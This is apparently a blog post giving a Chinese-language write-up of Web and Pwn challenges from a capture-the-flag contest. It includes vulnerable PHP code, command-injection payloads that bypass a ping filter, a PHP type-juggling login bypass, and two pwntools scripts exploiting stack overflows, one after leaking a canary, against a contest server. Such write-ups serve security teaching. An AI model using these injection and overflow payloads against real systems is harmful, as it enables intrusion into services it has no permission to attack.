您现在的位置是:首页 >技术杂谈 >首届“钓鱼城”杯网络安全技能大赛Web&PWN网站首页技术杂谈
首届“钓鱼城”杯网络安全技能大赛Web&PWN
WEB
简单的注入
先使用Dirsearch扫描,发现存在Robots.txt文件,进行访问,得到如下提示:
不难发现存在一个登录页面和一个存在明显注入点的页面;
我们可以使用SQLMap跑出对应数据库中的登录信息,然后登录即可获得Flag
Ping
这是一道简单的RCE的题目;照例先查看一下当前目录下的文件;
127.0.0.1 | ls
执行后发现存在flag文件,我们尝试直接查看,但是不行;通过抓包分析得知进行了过滤
代码如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(!preg_match("/;|flag|@|*|?|'|"/i",$ip)){
system('ping -c 4 '.$ip);
}
else{
echo "<script>alert('bad argument')</script>";
}
}
我们可以通过?ip=127.0.0.1|cat%20fla%1g进行绕过,或者使用Base64编码绕过;即可获得Flag
Hasai
PHP的强类型比较,我们可以使用数值绕过:
PHP中的弱类型比较和强类型比较可以参考:
(42条消息) ctfshow-php特性-超详解(干货)_ctfshowphp特性_Yn8rt的博客-CSDN博客
(45条消息) WEB攻防-PHP特性&缺陷对比函数&CTF考点_intval绕过_@墨竹的博客-CSDN博客
<?php
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
if (!isset($_POST['username']) && !isset($_POST['password'])){exit(0);}
$username = $_POST['username'];
for ($i = 0;$i < count($username); $i++){
if ($username[$i] === 'admin'){
echo "error";
exit(0);
}
$username[$i] = intval($username[$i]);
}
if (array_search("admin",$username) === 0){
if(strcmp($_POST['password'],$password) == 0 ){
echo "<br>Right! login success! </br>";
echo $flag;
}else{
echo "<br>wrong password<br>";
}
}
Pwn
easy_pwn
使用IDApro(32位)打开文件并查看Main函数伪代码
main()函数中存在关键函数message()的调用,然后查看message()函数的伪代码
发现存在无限字节的栈溢出,接下来通过覆盖char s [28]和 rbp再添加shellcode_addr即可getshell,发现程序中存在flag()后门函数地址为
0x08048519
Exp:
from pwn import *
r = remote('101.42.165.118',20001)
shellcode_addr = 0x08048519
payload = b'X' * 32 + p32(shellcode_addr)
r.sendline(payload)
r.interactive()
ez_canary
使用IDApro(64位)打开文件并查看Main函数伪代码
main()函数中存在关键函数vuln()的调用,然后我们查看vuln()函数的伪代码
要先泄露Canary然后再构造Payload,发现char v4[10] 此时我们只需要利用read()函数填充v4为11即可泄露Canary,然后我们我们再通过下一个read()函数发送payload = padding + cannary + padding + shell_addr 即可getshell
Exp:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote('101.42.165.118', 20002)
payload = b'a' * 11
io.send(payload)
io.recvuntil('a' * 11)
canary = u64('x00' + io.recv(7))
log.success('Canary: ' + hex(canary))
payload2 = b'a' * 20 + p64(canary) + b'a' * 8 + p64(0x000000000040121E)
io.send(payload2)
io.interactive()
#DASCTF{9c565f3584a8e7ad64a73996b615811b}